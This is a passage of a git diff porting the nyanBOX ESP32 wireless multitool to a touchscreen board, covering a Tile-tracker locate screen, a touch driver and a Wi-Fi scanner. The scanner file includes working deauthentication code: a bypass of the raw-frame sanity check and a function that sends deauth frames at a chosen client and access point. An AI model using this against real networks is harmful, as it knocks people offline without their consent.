u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No Tiles found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = tileDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView) { + auto &dev = tileDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "MAC: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + snprintf(buf, sizeof(buf), "RSSI: %d", dev.rssi); + u8g2.drawStr(0, 30, buf); + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 40, buf); + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "Tiles: %d/%d", (int)tileDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)tileDevices.size()) + break; + auto &d = tileDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + char line[32]; + const char* displayName = d.hasName && d.name[0] ? d.name : "Tile"; + char maskedName[33]; + maskName(displayName, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/touch_input.cpp b/cyd-port/src/touch_input.cpp new file mode 100644 index 0000000..31ac149 --- /dev/null +++ b/cyd-port/src/touch_input.cpp @@ -0,0 +1,389 @@ +/* + touch_input.cpp — nyanBOX CYD port + + XPT2046 resistive touch, read over SOFTWARE (bit-bang) SPI so it does not + contend for either ESP32 hardware SPI host (HSPI=TFT_eSPI, VSPI=nRF24 radios). + + Touch is detected by Z-PRESSURE, NOT PENIRQ (IRQ is unreliable on the CYD). + Slowed bit-bang + sample-and-hold settle per hexeguitar's CYD28_Touchscreen. + + SELF-CALIBRATING: on first boot (or when a finger is held at power-up) it runs + a 4-corner tap calibration, auto-detects axis swap + direction + range, and + stores it to EEPROM — so orientation is never hand-tuned again. + + Emulates the five nyanBOX control buttons (active-LOW) as touch zones in a + bottom control strip + draws the on-screen arrow D-pad. nyanDigitalRead() is + the shim the pindefs.h macro routes every project-side digitalRead() through. + + IMPORTANT: this file MUST NOT include pindefs.h — that would pull in the + `#define digitalRead nyanDigitalRead` macro and turn the bit-bang MISO + sampling below into infinite recursion. Here digitalRead/Write are real. +*/ +#include +#include "touch_input.h" +#include +#include +extern TFT_eSPI tft; // defined in cyd_u8g2_bridge.cpp + +// --- Bit-bang XPT2046 bus pins (CYD dedicated touch header) --- +static const uint8_t XPT_CLK = 25; +static const uint8_t XPT_MOSI = 32; +static const uint8_t XPT_MISO = 39; // input-only +static const uint8_t XPT_CS = 33; +static const uint8_t XPT_IRQ = 36; // input-only (unused as a gate) + +// --- XPT2046 12-bit differential command bytes (SER/DFR=0, PD=00) --- +static const uint8_t CMD_X = 0xD0; +static const uint8_t CMD_Y = 0x90; +static const uint8_t CMD_Z1 = 0xB0; +static const uint8_t CMD_Z2 = 0xC0; +static const int Z_THRESHOLD = 400; + +// --- nyanBOX logical button pin numbers (mirror of pindefs.h, NOT included) --- +static const uint8_t B_UP = 26; +static const uint8_t B_DOWN = 33; +static const uint8_t B_CENTER = 32; // Exit +static const uint8_t B_LEFT = 25; // Back +static const uint8_t B_RIGHT = 27; // Select + +static const int SCREEN_W = 240; +static const int SCREEN_H = 320; +static const int STRIP_Y = 258; // touch bar zone = bottom (UI band is y 100..219) + +// --- Persistent calibration (measured by the 4-corner routine) --- +struct TouchCal { + uint16_t magic; + uint8_t swap; // 1 = screen X is driven by the raw Y channel + uint16_t xr0, xr1; // raw at screenX=0 and screenX=SCREEN_W (may be inverted) + uint16_t yr0, yr1; // raw at screenY=0 and screenY=SCREEN_H +}; +#define CAL_ADDR 400 // clear of nyanBOX's low-address EEPROM settings +#define CAL_MAGIC 0xCA11 +// Sane fallback (from the ESPHome config) if EEPROM is empty and cal is skipped. +static TouchCal g_cal = { 0, 0, 3756, 220, 394, 3749 }; + +// Cached poll state +static uint8_t g_pressedButton = 0xFF; +static uint32_t g_lastPollMs = 0; + +// --- Touch mode + menu-band gesture state --- +static uint8_t g_touchMode = TOUCH_MENU; +static const int Z_DOWN = Z_THRESHOLD, Z_UP = 200; +static const int DRAG_SLOP = 12, SLIDER_W = 34; // left strip (screen px) = scroll slider (never selects) +static const uint32_t SAMPLE_MS = 15, SETTLE_MS = 30, TAP_MAX_MS = 600, LOCKOUT_MS = 100; +static bool g_gDown = false, g_gSettled = false, g_gMoved = false, g_inSlider = false; +static bool g_sliderActive = false; +static int g_gAnchorY = 0, g_menuTapY = -1, g_sliderY = 0; +static uint32_t g_gDownMs = 0, g_gLockout = 0; + +// Bit-bang clock: 1us per half-cycle keeps DCLK ~500kHz (under the 2MHz limit). +static inline void clkPulseHigh() { digitalWrite(XPT_CLK, HIGH); delayMicroseconds(1); } +static inline void clkPulseLow() { digitalWrite(XPT_CLK, LOW); delayMicroseconds(1); } + +static uint16_t xptRead(uint8_t cmd) { + digitalWrite(XPT_CLK, LOW); + digitalWrite(XPT_CS, LOW); + delayMicroseconds(1); + for (int i = 7; i >= 0; i--) { + digitalWrite(XPT_MOSI, (cmd >> i) & 0x01); + clkPulseHigh(); + clkPulseLow(); + } + delayMicroseconds(3); // sample-and-hold settle + clkPulseHigh(); // busy/dummy clock + clkPulseLow(); + uint16_t v = 0; + for (int i = 11; i >= 0; i--) { + clkPulseHigh(); + v |= (uint16_t)(digitalRead(XPT_MISO) ? 1 : 0) << i; + clkPulseLow(); + } + delayMicroseconds(1); + digitalWrite(XPT_CS, HIGH); + return v & 0x0FFF; +} + +static uint16_t xptSample(uint8_t cmd) { + uint16_t a = xptRead(cmd), b = xptRead(cmd), c = xptRead(cmd); + if (a > b) { uint16_t t = a; a = b; b = t; } + if (b > c) { uint16_t t = b; b = c; c = t; } + if (a > b) { uint16_t t = a; a = b; b = t; } + return b; +} + +static int xptPressure() { + uint16_t z1 = xptSample(CMD_Z1); + uint16_t z2 = xptSample(CMD_Z2); + return (int)z1 + 4095 - (int)z2; +} + +// Reclaim the bus pins as OUTPUT (menus flip them to INPUT_PULLUP). Self-healing. +static void touchBusClaim() { + pinMode(XPT_CLK, OUTPUT); + pinMode(XPT_MOSI, OUTPUT); + pinMode(XPT_CS, OUTPUT); + pinMode(XPT_MISO, INPUT); + pinMode(XPT_IRQ, INPUT); + digitalWrite(XPT_CS, HIGH); + digitalWrite(XPT_CLK, LOW); +} + +// Apply the stored calibration: raw -> screen (handles swap + direction + scale). +static void xptToScreen(uint16_t rawX, uint16_t rawY, long &sx, long &sy) { + int rfx = g_cal.swap ? (int)rawY : (int)rawX; + int rfy = g_cal.swap ? (int)rawX : (int)rawY; + int dx = (int)g_cal.xr1 - (int)g_cal.xr0; + int dy = (int)g_cal.yr1 - (int)g_cal.yr0; + if (dx == 0) dx = 1; + if (dy == 0) dy = 1; + sx = (long)(rfx - (int)g_cal.xr0) * SCREEN_W / dx; + sy = (long)(rfy - (int)g_cal.yr0) * SCREEN_H / dy; + if (sx < 0) sx = 0; if (sx >= SCREEN_W) sx = SCREEN_W - 1; + if (sy < 0) sy = 0; if (sy >= SCREEN_H) sy = SCREEN_H - 1; +} + +static uint8_t buttonForColumn(int sx) { + int col = sx / (SCREEN_W / 5); // 48 px per column + if (col < 0) col = 0; + if (col > 4) col = 4; + switch (col) { // BACK | UP | DN | SEL | EXIT + case 0: return B_LEFT; + case 1: return B_UP; + case 2: return B_DOWN; + case 3: return B_RIGHT; + default: return B_CENTER; + } +} + +// The on-screen arrow D-pad in the bottom strip (persists; UI band is y100..219). +void drawDpadBar() { + const uint16_t fill = tft.color565(16, 22, 18); + const uint16_t border = tft.color565(46, 150, 74); + const uint16_t glyph = tft.color565(74, 214, 112); + const int top = 264, h = 42, cy = top + h / 2, a = 7; + tft.fillRect(0, 258, 240, 62, TFT_BLACK); + tft.drawFastHLine(0, 258, 240, border); + for (int c = 0; c < 5; c++) { + int x0 = c * 48, cx = x0 + 24; + tft.fillRoundRect(x0 + 3, top + 2, 42, h - 4, 6, fill); + tft.drawRoundRect(x0 + 3, top + 2, 42, h - 4, 6, border); + switch (c) { + case 0: tft.fillTriangle(cx - a, cy, cx + a, cy - a, cx + a, cy + a, glyph); break; // LEFT < + case 1: tft.fillTriangle(cx, cy - a, cx - a, cy + a, cx + a, cy + a, glyph); break; // UP ^ + case 2: tft.fillTriangle(cx, cy + a, cx - a, cy - a, cx + a, cy - a, glyph); break; // DOWN v + case 3: tft.fillTriangle(cx + a, cy, cx - a, cy - a, cx - a, cy + a, glyph); break; // RIGHT > + default: tft.fillCircle(cx, cy, a - 1, glyph); tft.fillCircle(cx, cy, a - 5, fill); // OK (center) + } + } +} + +// Menu-band gesture machine. LEFT strip (sx= SETTLE_MS) { g_gAnchorY = sy; g_gSettled = true; } + if (g_gSettled) { + if (g_inSlider) { g_sliderActive = true; g_sliderY = sy; } // slider: live scroll, no select + else if (abs(sy - g_gAnchorY) > DRAG_SLOP) g_gMoved = true; // main-area drag cancels the tap + } + } else if (g_gDown) { + g_gDown = false; g_sliderActive = false; + if (!g_inSlider && g_gSettled && !g_gMoved && (now - g_gDownMs) <= TAP_MAX_MS) g_menuTapY = g_gAnchorY; + g_gLockout = now + LOCKOUT_MS; + } +} + +// One XPT sample -> drives g_pressedButton (bottom bar); in TOUCH_MENU also the band gestures. +static void touchSampleNow() { + touchBusClaim(); + int z = xptPressure(); + bool down = g_gDown ? (z >= Z_UP) : (z >= Z_DOWN); // release hysteresis + long sx = 0, sy = 0; + if (down) { uint16_t rawX = xptSample(CMD_X), rawY = xptSample(CMD_Y); xptToScreen(rawX, rawY, sx, sy); } + + if (g_touchMode == TOUCH_MENU) { + g_pressedButton = (down && sy >= STRIP_Y) ? ((sx < 192) ? B_LEFT : B_RIGHT) : 0xFF; // 2-zone BACK/LEVEL bar + menuGesture(down && sy < STRIP_Y, (int)sx, (int)sy); + } else { + g_pressedButton = (down && sy >= STRIP_Y) ? buttonForColumn((int)sx) : 0xFF; // 5-zone D-pad + } +} + +static void touchGatedSample() { + uint32_t now = millis(); + if (now - g_lastPollMs >= SAMPLE_MS) { touchSampleNow(); g_lastPollMs = now; } +} + +// ---- Calibration ---- +static bool touchLoadCal() { + TouchCal c; + EEPROM.get(CAL_ADDR, c); + if (c.magic != CAL_MAGIC) return false; + if (abs((int)c.xr1 - (int)c.xr0) < 50 || abs((int)c.yr1 - (int)c.yr0) < 50) return false; + g_cal = c; + return true; +} + +static void touchSaveCal() { + g_cal.magic = CAL_MAGIC; + EEPROM.put(CAL_ADDR, g_cal); + EEPROM.commit(); +} + +// Block until a firm tap, return averaged raw at press, then wait for release. +static void touchWaitTap(uint16_t &rx, uint16_t &ry) { + touchBusClaim(); + while (xptPressure() > Z_THRESHOLD / 2) delay(10); // ensure released first + while (xptPressure() < Z_THRESHOLD) delay(10); // wait for press + delay(40); + long ax = 0, ay = 0; int n = 0; + for (int i = 0; i < 8 && xptPressure() > Z_THRESHOLD; i++) { + ax += xptSample(CMD_X); ay += xptSample(CMD_Y); n++; delay(8); + } + if (n == 0) { rx = xptSample(CMD_X); ry = xptSample(CMD_Y); } + else { rx = ax / n; ry = ay / n; } + while (xptPressure() > Z_THRESHOLD / 2) delay(10); // wait release +} + +static void drawTarget(int x, int y, const char *label) { + tft.fillScreen(TFT_BLACK); + tft.setTextDatum(MC_DATUM); + tft.setTextColor(TFT_CYAN, TFT_BLACK); + tft.setTextFont(2); + tft.drawString("TOUCH CALIBRATION", 120, 150); + tft.setTextColor(TFT_YELLOW, TFT_BLACK); + tft.drawString(label, 120, 176); + tft.drawLine(x - 12, y, x + 12, y, TFT_YELLOW); + tft.drawLine(x, y - 12, x, y + 12, TFT_YELLOW); + tft.drawCircle(x, y, 10, TFT_YELLOW); +} + +void touchCalibrate() { + touchBusClaim(); + const int M = 18; + const int px[4] = { M, SCREEN_W - M, M, SCREEN_W - M }; // TL, TR, BL, BR + const int py[4] = { M, M, SCREEN_H - M, SCREEN_H - M }; + const char *lbl[4] = { "Tap TOP-LEFT", "Tap TOP-RIGHT", "Tap BOTTOM-LEFT", "Tap BOTTOM-RIGHT" }; + uint16_t rx[4], ry[4]; + for (int i = 0; i < 4; i++) { + drawTarget(px[i], py[i], lbl[i]); + touchWaitTap(rx[i], ry[i]); + tft.fillCircle(px[i], py[i], 10, TFT_GREEN); + delay(200); + } + // TL=0 TR=1 BL=2 BR=3 + long leftX = (rx[0] + rx[2]) / 2, rightX = (rx[1] + rx[3]) / 2; + long leftY = (ry[0] + ry[2]) / 2, rightY = (ry[1] + ry[3]) / 2; + long topX = (rx[0] + rx[1]) / 2, botX = (rx[2] + rx[3]) / 2; + long topY = (ry[0] + ry[1]) / 2, botY = (ry[2] + ry[3]) / 2; + + bool swap = labs(rightY - leftY) > labs(rightX - leftX); // which raw axis tracks horizontal? + TouchCal c; + c.swap = swap ? 1 : 0; + if (!swap) { c.xr0 = leftX; c.xr1 = rightX; c.yr0 = topY; c.yr1 = botY; } + else { c.xr0 = leftY; c.xr1 = rightY; c.yr0 = topX; c.yr1 = botX; } + + tft.fillScreen(TFT_BLACK); + tft.setTextDatum(MC_DATUM); + tft.setTextFont(4); + if (abs((int)c.xr1 - (int)c.xr0) < 50 || abs((int)c.yr1 - (int)c.yr0) < 50) { + tft.setTextColor(TFT_RED, TFT_BLACK); + tft.drawString("CAL FAILED", 120, 150); + delay(1200); + touchCalibrate(); // retry + return; + } + g_cal = c; + touchSaveCal(); + tft.setTextColor(TFT_GREEN, TFT_BLACK); + tft.drawString("CALIBRATED", 120, 150); + delay(800); +} + +// Load stored cal, or run the 4-corner routine (first boot OR finger held at boot), +// then paint the D-pad bar. +void touchBegin() { + bool have = touchLoadCal(); + touchBusClaim(); + bool held = xptPressure() > Z_THRESHOLD; // hold the screen at power-up to re-calibrate + if (!have || held) touchCalibrate(); + tft.fillScreen(TFT_BLACK); + setTouchMode(TOUCH_MENU); // paint the initial (menu) control bar +} + +// ---- Menu tap/drag/scroll API (consumed by the menu loop) ---- +bool touchMenuTap(int &sy) { + if (g_menuTapY < 0) return false; + sy = g_menuTapY; g_menuTapY = -1; return true; +} +bool touchMenuSlider(int &sy) { + if (!g_sliderActive) return false; + sy = g_sliderY; + return true; +} + +// Screen y -> absolute menu item index (mirrors the render + letterbox). Caller bounds-checks. +int touchScreenYToItem(int sy, int menuStart) { + if (sy < 100 || sy >= 220) return -1; // outside the u8g2 list band + int by = ((sy - 100) * 64) / 120; // screen -> 64px buffer y + int rel = by - 1; if (rel < 0) rel = 0; // first row at buffer-y 1 + int row = rel / 21; if (row > 2) row = 2; // pitch 21, 3 rows shown + return menuStart + row; +} + +// 2-zone menu control bar: wide BACK (left) + narrow LEVEL (right). +void drawMenuBar() { + const uint16_t fill = tft.color565(16, 22, 18), border = tft.color565(46, 150, 74), glyph = tft.color565(74, 214, 112); + const int top = 264, h = 42, cy = top + h / 2, a = 7; + tft.fillRect(0, 258, 240, 62, TFT_BLACK); + tft.drawFastHLine(0, 258, 240, border); + // BACK zone (x 0..191) + tft.fillRoundRect(3, top + 2, 183, h - 4, 6, fill); + tft.drawRoundRect(3, top + 2, 183, h - 4, 6, border); + int bx = 34; + tft.fillTriangle(bx - a, cy, bx + a, cy - a, bx + a, cy + a, glyph); + tft.setTextDatum(ML_DATUM); tft.setTextColor(glyph, fill); tft.setTextFont(4); + tft.drawString("BACK", bx + 20, cy); + // LEVEL zone (x 192..239): three ascending bars + tft.fillRoundRect(195, top + 2, 42, h - 4, 6, fill); + tft.drawRoundRect(195, top + 2, 42, h - 4, 6, border); + int lx = 210; + tft.fillRect(lx, cy + 2, 5, 8, glyph); + tft.fillRect(lx + 8, cy - 3, 5, 13, glyph); + tft.fillRect(lx + 16, cy - 8, 5, 18, glyph); +} + +void setTouchMode(uint8_t m) { + g_touchMode = m; + g_gDown = false; g_sliderActive = false; g_menuTapY = -1; + if (m == TOUCH_APP) drawDpadBar(); else drawMenuBar(); +} + +void touchInputSetup() { + touchBusClaim(); + digitalWrite(XPT_MOSI, LOW); + g_pressedButton = 0xFF; + g_lastPollMs = 0; +} + +int nyanDigitalRead(uint8_t pin) { + switch (pin) { + case B_UP: + case B_DOWN: + case B_CENTER: + case B_LEFT: + case B_RIGHT: { + touchGatedSample(); + return (g_pressedButton == pin) ? LOW : HIGH; // active-LOW + } + default: + return digitalRead(pin); + } +} diff --git a/cyd-port/src/wifiscan.cpp b/cyd-port/src/wifiscan.cpp new file mode 100644 index 0000000..a4950c1 --- /dev/null +++ b/cyd-port/src/wifiscan.cpp @@ -0,0 +1,1258 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/wifiscan.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +namespace { + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT + +struct WiFiClientData { + char clientMAC[18]; + int8_t rssi; + unsigned long lastSeen; + uint16_t packetCount; + uint8_t frameTypes; +}; + +struct WiFiNetworkData { + char ssid[33]; + char bssid[18]; + int8_t rssi; + uint8_t channel; + uint8_t encryption; + unsigned long lastSeen; + char authMode[20]; + std::vector clients; + uint8_t clientCount; +}; +std::vector wifiNetworks; + +const int MAX_NETWORKS = 100; +const int MAX_CLIENTS_PER_AP = 10; +const int MAX_TOTAL_CLIENTS = 100; +const unsigned long CLIENT_TIMEOUT = 300000; + +#define FRAME_TYPE_DATA 0x01 +#define FRAME_TYPE_ASSOC 0x02 + +enum ScanPhase { + PHASE_AP_SCAN, + PHASE_CLIENT_SCAN, + PHASE_IDLE +}; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +bool isClientsView = false; +bool isClientDetailView = false; +bool isClientDeauthMode = false; +int currentClientIndex = 0; +int clientListStartIndex = 0; +char locateTargetBSSID[18] = {0}; +uint8_t locateTargetChannel = 0; +char deauthTargetClientMAC[18] = {0}; +char deauthTargetAPBSSID[18] = {0}; +uint8_t deauthTargetChannel = 0; +unsigned long lastDeauthTime = 0; +unsigned long deauthPacketCount = 0; +const unsigned long DEAUTH_INTERVAL = 5; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +bool wifiscan_isScanning = false; +uint16_t wifiscan_lastApCount = 0; + +static bool needsRedraw = true; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; + +ScanPhase currentScanPhase = PHASE_AP_SCAN; +unsigned long phaseStartTime = 0; +unsigned long lastAPScanTime = 0; + +const unsigned long AP_SCAN_DURATION = 8000; +const unsigned long CLIENT_SCAN_DURATION = 8000; +const unsigned long IDLE_DURATION = 14000; +const unsigned long scanInterval = 180000; + +const unsigned long CHANNEL_HOP_INTERVAL = 500; +unsigned long lastChannelHop = 0; +unsigned long lastClientCleanup = 0; +const unsigned long CLIENT_CLEANUP_INTERVAL = 30000; + +extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) { + (void)arg; + (void)arg2; + (void)arg3; + return 0; +} + +void macStringToBytes(const char* macStr, uint8_t* macBytes) { + if (macStr == nullptr || macBytes == nullptr) return; + + unsigned int values[6]; + if (sscanf(macStr, "%02x:%02x:%02x:%02x:%02x:%02x", + &values[0], &values[1], &values[2], &values[3], &values[4], &values[5]) == 6) { + for (int i = 0; i < 6; i++) { + macBytes[i] = (uint8_t)values[i]; + } + } +} + +void sendClientDeauth() { + uint8_t deauthFrame[26] = { + 0xC0, 0x00, + 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, + 0x01, 0x00 + }; + + uint8_t clientMAC[6]; + uint8_t apBSSID[6]; + + macStringToBytes(deauthTargetClientMAC, clientMAC); + macStringToBytes(deauthTargetAPBSSID, apBSSID); + + memcpy(deauthFrame + 4, clientMAC, 6); + memcpy(deauthFrame + 10, apBSSID, 6); + memcpy(deauthFrame + 16, apBSSID, 6); + + esp_wifi_set_channel(deauthTargetChannel, WIFI_SECOND_CHAN_NONE); + + for (int i = 0; i < 10; i++) { + esp_wifi_80211_tx(WIFI_IF_AP, deauthFrame, sizeof(deauthFrame), false); + delay(1); + } + + deauthPacketCount += 10; +} + +const char* getAuthModeString(wifi_auth_mode_t authMode) { + switch (authMode) { + case WIFI_AUTH_OPEN: return "Open"; + case WIFI_AUTH_WEP: return "WEP"; + case WIFI_AUTH_WPA_PSK: return "WPA-PSK"; + case WIFI_AUTH_WPA2_PSK: return "WPA2-PSK"; + case WIFI_AUTH_WPA_WPA2_PSK: return "WPA/WPA2"; + case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-Ent"; + case WIFI_AUTH_WPA3_PSK: return "WPA3-PSK"; + case WIFI_AUTH_WPA2_WPA3_PSK: return "WPA2/WPA3"; + case WIFI_AUTH_WAPI_PSK: return "WAPI-PSK"; + default: return "Unknown"; + } +} + +void bssid_to_string(uint8_t *bssid, char *str, size_t size) { + if (bssid == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); +} + +bool isValidClientMAC(const char* mac) { + if (mac == nullptr || mac[0] == '\0') return false; + + if (strcasecmp(mac, "ff:ff:ff:ff:ff:ff") == 0) return false; + + if (strcasecmp(mac, "00:00:00:00:00:00") == 0) return false; + + char firstByte[3] = {mac[0], mac[1], '\0'}; + unsigned int byte = 0; + sscanf(firstByte, "%x", &byte); + if (byte & 0x01) return false; + + return true; +} + +WiFiNetworkData* findAPByBSSID(const char* bssid) { + if (bssid == nullptr || bssid[0] == '\0') return nullptr; + + for (auto &ap : wifiNetworks) { + if (strcasecmp(ap.bssid, bssid) == 0) { + return ≈ + } + } + return nullptr; +} + +void removeOldestClient(WiFiNetworkData* ap) { + if (ap == nullptr || ap->clients.empty()) return; + + auto oldest = ap->clients.begin(); + for (auto it = ap->clients.begin(); it != ap->clients.end(); ++it) { + if (it->lastSeen < oldest->lastSeen) { + oldest = it; + } + } + ap->clients.erase(oldest); +} + +void addOrUpdateClient(const char* apBSSID, const char* clientMAC, int8_t rssi, uint8_t frameType) { + if (!isValidClientMAC(clientMAC)) return; + + WiFiNetworkData* ap = findAPByBSSID(apBSSID); + if (ap == nullptr) return; + + unsigned long now = millis(); + + for (auto &client : ap->clients) { + if (strcmp(client.clientMAC, clientMAC) == 0) { + client.rssi = rssi; + client.lastSeen = now; + client.packetCount++; + client.frameTypes |= frameType; + return; + } + } + + int totalClients = 0; + for (const auto &network : wifiNetworks) { + totalClients += network.clients.size(); + } + + if (ap->clients.size() >= MAX_CLIENTS_PER_AP) { + removeOldestClient(ap); + } else if (totalClients >= MAX_TOTAL_CLIENTS) { + WiFiNetworkData* oldestAP = nullptr; + WiFiClientData* oldestClient = nullptr; + unsigned long oldestTime = now; + + for (auto &network : wifiNetworks) { + for (auto &client : network.clients) { + if (client.lastSeen < oldestTime) { + oldestTime = client.lastSeen; + oldestClient = &client; + oldestAP = &network; + } + } + } + + if (oldestAP != nullptr && oldestClient != nullptr) { + oldestAP->clients.erase( + std::remove_if(oldestAP->clients.begin(), oldestAP->clients.end(), + [oldestClient](const WiFiClientData &c) { + return strcmp(c.clientMAC, oldestClient->clientMAC) == 0; + }), + oldestAP->clients.end() + ); + oldestAP->clientCount = oldestAP->clients.size(); + } + } + + WiFiClientData newClient; + strncpy(newClient.clientMAC, clientMAC, sizeof(newClient.clientMAC) - 1); + newClient.clientMAC[sizeof(newClient.clientMAC) - 1] = '\0'; + newClient.rssi = rssi; + newClient.lastSeen = now; + newClient.packetCount = 1; + newClient.frameTypes = frameType; + + ap->clients.push_back(newClient); + ap->clientCount = ap->clients.size(); +} + +void cleanupStaleClients() { + unsigned long now = millis(); + + for (auto &ap : wifiNetworks) { + ap.clients.erase( + std::remove_if(ap.clients.begin(), ap.clients.end(), + [now](const WiFiClientData &client) { + return (now - client.lastSeen) > CLIENT_TIMEOUT; + }), + ap.clients.end() + ); + ap.clientCount = ap.clients.size(); + } +} + +static void IRAM_ATTR wifi_client_sniffer_callback(void* buff, wifi_promiscuous_pkt_type_t type) { + const wifi_promiscuous_pkt_t *ppkt = (wifi_promiscuous_pkt_t *)buff; + const uint8_t *frame = ppkt->payload; + int len = ppkt->rx_ctrl.sig_len; + + if (len < 24) return; + + uint8_t frameType = frame[0] & 0x0C; + uint8_t frameSubtype = frame[0] & 0xF0; + + char clientMAC[18]; + char apBSSID[18]; + + if (frameType == 0x08) { + bool toDS = frame[1] & 0x01; + bool fromDS = frame[1] & 0x02; + + if (toDS && !fromDS) { + bssid_to_string((uint8_t*)&frame[10], clientMAC, sizeof(clientMAC)); + bssid_to_string((uint8_t*)&frame[4], apBSSID, sizeof(apBSSID)); + addOrUpdateClient(apBSSID, clientMAC, ppkt->rx_ctrl.rssi, FRAME_TYPE_DATA); + } + else if (!toDS && fromDS) { + bssid_to_string((uint8_t*)&frame[4], clientMAC, sizeof(clientMAC)); + bssid_to_string((uint8_t*)&frame[10], apBSSID, sizeof(apBSSID)); + addOrUpdateClient(apBSSID, clientMAC, ppkt->rx_ctrl.rssi, FRAME_TYPE_DATA); + } + } + else if (frameType == 0x00) { + if (len < 26) return; + + if (frameSubtype == 0x10) { + uint16_t statusCode = frame[24] | (frame[25] << 8); + if (statusCode == 0) { + bssid_to_string((uint8_t*)&frame[4], clientMAC, sizeof(clientMAC)); + bssid_to_string((uint8_t*)&frame[16], apBSSID, sizeof(apBSSID)); + addOrUpdateClient(apBSSID, clientMAC, ppkt->rx_ctrl.rssi, FRAME_TYPE_ASSOC); + } + } + else if (frameSubtype == 0x30) { + uint16_t statusCode = frame[24] | (frame[25] << 8); + if (statusCode == 0) { + bssid_to_string((uint8_t*)&frame[4], clientMAC, sizeof(clientMAC)); + bssid_to_string((uint8_t*)&frame[16], apBSSID, sizeof(apBSSID)); + addOrUpdateClient(apBSSID, clientMAC, ppkt->rx_ctrl.rssi, FRAME_TYPE_ASSOC); + } + } + } +} + +void hopToNextAPChannel() { + if (wifiNetworks.empty()) return; + + unsigned long now = millis(); + if (now - lastChannelHop < CHANNEL_HOP_INTERVAL) return; + + static uint8_t uniqueChannels[14]; + static int uniqueCount = 0; + static int currentUniqueIndex = 0; + + static unsigned long lastRebuild = 0; + if (now - lastRebuild > 5000 || uniqueCount == 0) { + uniqueCount = 0; + for (const auto &ap : wifiNetworks) { + bool found 